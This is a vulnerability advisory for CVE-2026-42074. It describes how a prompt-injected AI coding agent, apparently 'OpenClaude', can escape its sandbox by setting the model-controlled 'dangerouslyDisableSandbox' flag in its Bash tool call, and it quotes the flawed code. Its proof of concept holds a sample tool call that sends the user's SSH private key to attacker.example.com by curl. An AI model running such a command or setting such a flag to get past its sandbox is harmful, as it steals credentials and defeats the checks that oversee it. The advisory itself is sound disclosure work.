CVE-2026-42074
### Summary The `dangerouslyDisableSandbox` parameter is exposed as part of the BashTool input schema, meaning the LLM (an untrusted principal per the project's own threat model) can set it to `true` in any `tool_use` response. Combined with the default `allowUnsandboxedCommands: true` setting, a prompt-injected model can escape the sandbox for any arbitrary command, achieving full host-level code execution. ### Details The vulnerability exists in the `shouldUseSandbox()` function in `src/tools/BashTool/shouldUseSandbox.ts` (lines 130–153): ```typescript export function shouldUseSandbox(input: Partial<SandboxInput>): boolean { if (!SandboxManager.isSandboxingEnabled()) { return false } // THE VULNERABILITY: model-controlled flag bypasses sandbox if ( input.dangerouslyDisableSandbox && SandboxManager.areUnsandboxedCommandsAllowed() ) { return false } // ... return true } ``` The second guard, `areUnsandboxedCommandsAllowed()`, is defined in `src/utils/sandbox/sandbox-adapter.ts` (lines 474–477) and **defaults to `true`**: ```typescript function areUnsandboxedCommandsAllowed(): boolean { const settings = getSettings_DEPRECATED() return settings?.sandbox?.allowUnsandboxedCommands ?? true } ``` This means that out of the box, with default configuration, the LLM can bypass the sandbox for any command simply by including `"dangerouslyDisableSandbox": true` in its tool call input. The project's own trust model states: "The model/agent is **not** a trusted principal. Assume prompt/content injection can manipulate behavior." Yet this model-controlled input directly controls a security-critical boundary. ### PoC 1. Set up an environment with sandboxing enabled (default for certain deployment modes). 2. A prompt injection payload causes the LLM to return a `tool_use` block: ```json { "name": "Bash", "input": { "command": "cat /etc/hostname && curl http://attacker.example.com/exfil?data=$(cat ~/.ssh/id_rsa | base6
Properties
- summary
- OpenClaude Sandbox Bypass via Model-Controlled `dangerouslyDisableSandbox` Input
- severity
- CRITICAL
- cvss_score
- 9.8
- epss_score
- 0.00544
- ghsa_published
- 2026-05-12T16:17:59Z
- source_url
- https://github.com/advisories/GHSA-m77w-p5jj-xmhg
- ghsa_updated
- 2026-05-12T16:18:00Z
- ghsa_id
- GHSA-m77w-p5jj-xmhg
- cve_id
- CVE-2026-42074
- cvss_vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- is_ghsa_only
- false
- epss_percentile
- 0.42694
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